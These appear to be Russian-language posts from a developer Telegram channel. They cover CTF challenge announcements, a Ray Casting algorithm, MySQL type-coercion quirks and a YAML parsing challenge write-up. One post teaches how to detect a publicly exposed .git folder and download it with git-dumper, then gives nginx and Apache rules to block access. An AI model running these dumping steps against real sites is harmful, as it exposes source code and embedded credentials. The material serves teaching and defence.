📌 На тему поста для демонстрации проблемы опубликована задача: Обменник валют «У Апишечки». В задаче приложен код с ошибкой в типах данных, и если правильно воспользоваться этой проблемой, то можно увеличить свой баланс счета. Попробуйте решить, а если возникнут сложности, то приходите в чат, там можно спросить помощи или подсказку, а также там выходят анонсы новых небольших и простеньких задач, про которые не упоминается в канале.

———
#⃣ #БазаЗнаний #Ошибки

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍651
Задача «Тест по YAML»

❗️ Эта задача анонсировалась заранее и будет награждение первой тройки решивших. Призы символические, но так интереснее, чтобы был азарт.
Ссылка на задачу на нашей площадке: задание.

📌 Исходники бекендовой части задачи прикреплены на сайте.
Описание задачи:
Для получения флага, нужно получить 1337 очков в тесте, где представлены 7 вопросов про парсинг YAML-файлов. Ответы проверяются в бекенде, по запросу с фронта.

📌 Заявки принимаются на сайте с задачами, где фиксируется время отправки и валидность флага. Про первые три решения автоматически сообщает бот в нашем чате.

Ответы в зачет принимаются до 12 сентября 12:00 МСК, есть ровно неделя на решение. Далее будет пост с полным разбором этой задачи и объявлением победителей.
Кто первый, тот молодец. Поехали!

❗️ Ссылка на задачу: перейти.

———
#⃣ #Задачи #CTF #Web

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍10🔥3🤔22
Файлы .git в публичной папке

📖 Контроль версий кода – удобный инструмент, уже давно без него не представляется ни одна разработка. Я еще немного застал системы контроля версий svn, потом mercurial, а потом и git, который сейчас стал стандартом и, кажется, нет альтернатив. Каждый проект имеет свой git-репозиторий, который зачастую попадает в продакшен или вообще используется для деплоя. Да, не все приложения разворачиваются с докерами, куберами и прочим, очень много реальных и живых проектов все еще используют ci/cd с набором скриптов для автоматического стягивания с репозитория и последующего билда. И есть такие, которые полностью в ручном режиме релизятся. Такие решения даже могут быть оправданы. Но не об этом пост. Это я все к тому, что так или иначе зачастую на продакшене оказывается актуальный репозиторий, а вместе с ним и все его файлы настроек, объектов, логов, хуков и всего остального. Бывает такое, что папка .git попадает на прод и это факт. И встречается это куда чаще, чем отлаженные инфраструктуры с ci/cd и прочими примочками.

📌 То, что папка .git зачастую лежит в продакшене – это реальность. Это не плохо и не хорошо, такую ситуацию диктуют куча разных условий, которые для каждого проекта свои. Но очень плохо и не безопасно то, что .git с завидной регулярностью упускается разработчиками из виду и попадает не просто в продакшен, а в публичную папку. Если не позаботиться о приватности, то весь репозиторий со всеми его ветками и коммитами, можно легко найти и полностью скачать. А имея полный доступ к кодовой базе и истории коммитов, найти уязвимость в проекте становится делом времени. И если еще в коде захардкожены доступы или файлы конфигов находятся под контролем версий, то это совсем уже печально и такая находка сродни получению полного доступа.

📌 Как эксплуатировать
Если .git оказалась в публичной папке, то скорее всего это будет корень проекта. Поэтому самый простой способ обнаружить открытый репозиторий, это «дернуть» файл с конфигурацией, который есть в каждой папке .git, по урлу: хост/.git/config. Если папка доступна, то получится скачать файл конфигурации. Цель найдена, остается выкачать все файлы. «Руками» такое сделать не реально для больших репозиториев, поэтому нужна автоматизация. Можно написать свой парсер, а можно воспользоваться готовым инструментом git-dumper. Git-dumper работает на python и установить его можно через pip:
pip install git-dumper

И остается только запустить git-dumper, указав адрес сайта-цели и папку, в которую скачать весь .git:
git-dumper http://хост.com ./folder

Готово. А что делать со скаченной папкой .git всем и так понятно — удалить, а о существующей проблеме с безопасностью сообщить владельцу ресурса, откуда выкачали репозиторий.

📌 Как защититься
Чтобы папка не была доступна, ее нужно выносить на уровень выше, чем публичная. Тогда она будет недоступна по http. Но такой подход подразумевает изменение вложенности, если такое сложно и трудозатратно организовать, то можно закрыть доступ на уровне сервера.
Для nginx это делается через конфиг для хоста:
location ~ /\.git {
deny all;
}

А для веб-сервера Apache нужно добавить правило в .htaccess:
<DirectoryMatch "/\.git">
Order allow,deny
Deny from all
</DirectoryMatch>


📌 Тренировка:
Для тестирования эксплуатации этой уязвимости запущенна задачка «Старый коммит» на нашей площадке с коллекцией челенджей. А если будут сложности, то приходите в чат, там можно пообщаться и задать вопросы.

———
#⃣ #БазаЗнаний #Web #git

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
👍65🔥3
Алгоритм Ray Casting

📖 При работе с картами или любой другой сеткой координат, иногда нужно определить, находится ли объект внутри области или за ее пределами. Самый частый и наглядный случай, с которым приходилось сталкиваться в работе с вебом – это определение доступности адреса в конкретной зоне доставки. Первый раз, когда с подобным столкнулись, начали выдумывать свой алгоритм, но быстро сообразили, что должны быть и готовые формулы и алгоритмы. Так и оказалось.

📌 Ray Casting – простой, но очень действенный алгоритм для определения положения точки относительно многоугольной области: точка находится внутри или снаружи. Для проверки положения, из точки выпускается луч право и считается сколько произошло пересечений с областью. Если пересечений четное количество, то точка находится за пределами области, а если не четное, то внутри. Ноль – четное число, тут нет противоречий или дополнительных обработок, логика не ломается. Для наглядности, в картинке к посту добавил область на карте и трех жуков, от них отходят лучи. И только у того, кто внутри треугольника, луч пересекает зону нечетное количество раз – единожды. Для не областей с стандартными формами, пересечений может быть 3, 5, 7 и тд. Но все равно условие с четностью будет выполняться.
Чтобы рассчитать количество пересечений, есть математическая формула:
xIntersection = xj + (y - yj) * (xi - xj) / (yi - yj)

Это уравнение прямой через две точки (xj,yj) и (xi,yi), решенное относительно x при заданном y.
Зная эту формула, написать метод определения положения точки относительно области, уже дело техники. Для примера можно посчитать географические координаты, используя долготу и широту:

function isPointInPolygon(point, polygon) {
const { lng: pointX, lat: pointY } = point;
let isInside = false;

// Проходим по всем ребрам многоугольника
for (let currentIndex = 0, previousIndex = polygon.length - 1;
currentIndex < polygon.length;
previousIndex = currentIndex++) {

const currentVertex = polygon[currentIndex];
const previousVertex = polygon[previousIndex];

const { lng: currentX, lat: currentY } = currentVertex;
const { lng: previousX, lat: previousY } = previousVertex;

// Проверяем, пересекает ли луч ребро
const isRayCrossingEdge = (currentY > pointY) !== (previousY > pointY);
const edgeIntersectionX = previousX +
(pointY - previousY) * (currentX - previousX) / (currentY - previousY);

if (isRayCrossingEdge && pointX < edgeIntersectionX) {
isInside = !isInside;
}
}

return isInside;
}


И пример использования:
const deliveryZone = [
{ lng: 34.349, lat: 53.417 },
{ lng: 34.066, lat: 53.141 },
{ lng: 34.706, lat: 53.150 },
];
const clientAddress = { lng: 34.350, lat: 53.410 };

console.log(isPointInPolygon(clientAddress, deliveryZone));


👨‍💻 Код можно запустить онлайн тут: ссылка.

❗️Такой расчет можно делать не только с географической картой, но и любой другой 2d сеткой координат.

———
#⃣ #БазаЗнаний #RayCasting

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
👍127🔥6
Выборка WHERE txt_field = 0 для текстовых полей

📖 Сразу оговорюсь – я понимаю, что никому в здравом уме не придет идея делать подобные запросы умышлено. Но понимание таких нюансов может пригодиться для упрощения дебага, а также при каких-то нестандартных ситуациях, не связанных с разработкой для продакшена.

Как раз во время поиска проблемы с выборками из БД и был обнаружен подобный запрос. В коде был баг, который при определенных обстоятельствах превращал параметр строкового ключа в число ноль и в типе int использовался для запроса к базе данных MySql. Не сразу обнаружился ноль в запросе, и пришлось повозиться, прежде удалось понять, почему вместо выборки по строковому ключу, возвращаются вообще все данные из таблицы.

📌 Странные запросы и результаты
На скрине упрощенная таблица БД, которая состоит из двух полей – id и txt_field. Поле txt_field имеет тип varchar и хранит строки. Если сделать такой sql запрос:
SELECT * FROM `tbl_test` WHERE `txt_field` = 0;

В ответ получим три строки:
id  txt_field
1 kek
2 kek_1
3 kek_2

А такой запрос:
SELECT * FROM `tbl_test` WHERE `txt_field` = 1;

Вернет одну строку:
id  txt_field
4 1_kek


📌 Почему так происходит?
Странные выборки получаются и не очень очевидные. Но это нормальное поведение MySql. Когда в запросе нужно сравнить число и строку, MySql пытается сделать приведение к одному типу данных. Но приведение типов с MySql работает по своим правилам, вот таким:
– Читает строку слева направо до первого нечислового символа
– Если в начале строки нет цифр, результат преобразования будет равен нулю
– Если есть цифры, то берет только числовую часть и отбрасывает остатки
Поэтому все строки, которые начинаются с нечисловых символов, становятся равны нулю и удовлетворяют условиям выборки WHERE txt_field = 0. Однако, если в начале строки есть число, то такая строка преобразуется в числовое значение, поэтому запрос с WHERE txt_field = 1, выдаст результат с «1_kek».

📌 Примеры преобразований строк в число:
'123kek' → 123
'kek_1' → 0 (первый символ не цифра)
'1_kek' → 1
'1.23kek' → 1.23
'kek' → 0
'' (пустая строка) → 0


———
#⃣ #Костыли #sql #Типы

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥84👍2
Задача «Тест по YAML». Разбор и победители

📖 6 сентября запускали задачку «Тест по YAML», за ее решения были назначены призы первым трем решившим. Задачу на данный момент одолели шесть человек.

Первая тройка по времени решения:
🥇 fASTYYY – приз 3 месяца премиум телеграм вручен
🥈 AlexB – приз 250 звезд телеграм вручен
🥉 xof – приз 100 звезд телеграм. Отказался от приза в пользу фонда развития БАГодельни 😁

Поздравляю! Кому интересна задача, можно попробовать свои силы тут: площадка с задачами.

📌 Разбор задачи
Смысл задания был в том, чтобы передать не сервер такой текст Yaml, который будет парситься двумя версиями Yaml: 1.1 и 1.2. И результат парсинга должен отличаться, не равные результаты нужно получить, причем версия 1.1 должна сформировать число 1337.
Задача показывает, как сильно могут отличаться парсеры в зависимости от версии. И что это нужно учитывать в разработке, чтобы не попасть в неприятности при обновлении библиотек или рефакторинге кода. К тому же, кроме отличий в версиях парсинга, Yaml в некоторых случаях выполняет преобразования значений весьма неочевидным образом, что тоже может легко привести к неприятным сюрпризам. Есть очень наглядный квиз, который показывает проблемы и странное поведение Yaml. Проверить свои навыки можно в задаче(часть показано в тесте) и в оригинальном квизе, откуда скопированы эти вопросы(тут из больше - 22 шт): ohyaml.wtf.

📌 Решение
Решить можно было несколькими способами. Я знаю два решения, но подозреваю, что можно придумать еще несколько, если кто-то знает еще варианты – присылайте в комментарии.

Первое решение
Yaml версии 1.1 поддерживает шестидесятеричное число, которые можно передавать в формате a:b, которое потом преобразуется в десятичное по формуле a * 60 + b. Видимо, эта функция высчитывала количество минут, если передать часы:минуты. Но в версии Yaml 1.2 такая запись уже не обрабатывается и парсится как обычная строка. Поэтому если передать 22:17, то в версии 1.1 это будет 22 * 60 + 17 = 1337. А в 1.2 это просто строка «22:17». Таким образом значения будут отличаться, и версия 1.1 сформирует нужное, для получения флага, значение

Второе решение
Решение основано также на системе исчисления, только уже восьмеричной. Если Yaml 1.1 обрабатывает значение, которое имеет ведущий ноль и остальные цифры не превышают 7, то такое значение конвертируется из восьмеричного в десятичное число. Поэтому, если парсить 02471, то версия 1.1 преобразует его в десятичное 1337. А Yaml версии 1.2 посчитает такое значение строкой и оставит «02471».

📌 Полезные ссылки
– Попробовать решить задачку: тут
– Квиз про парсинг в Yaml: ohyaml.wtf
– Статья на Habr: «YAML из Ада»

———
#⃣ #Задачи #Разбор #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥7👍622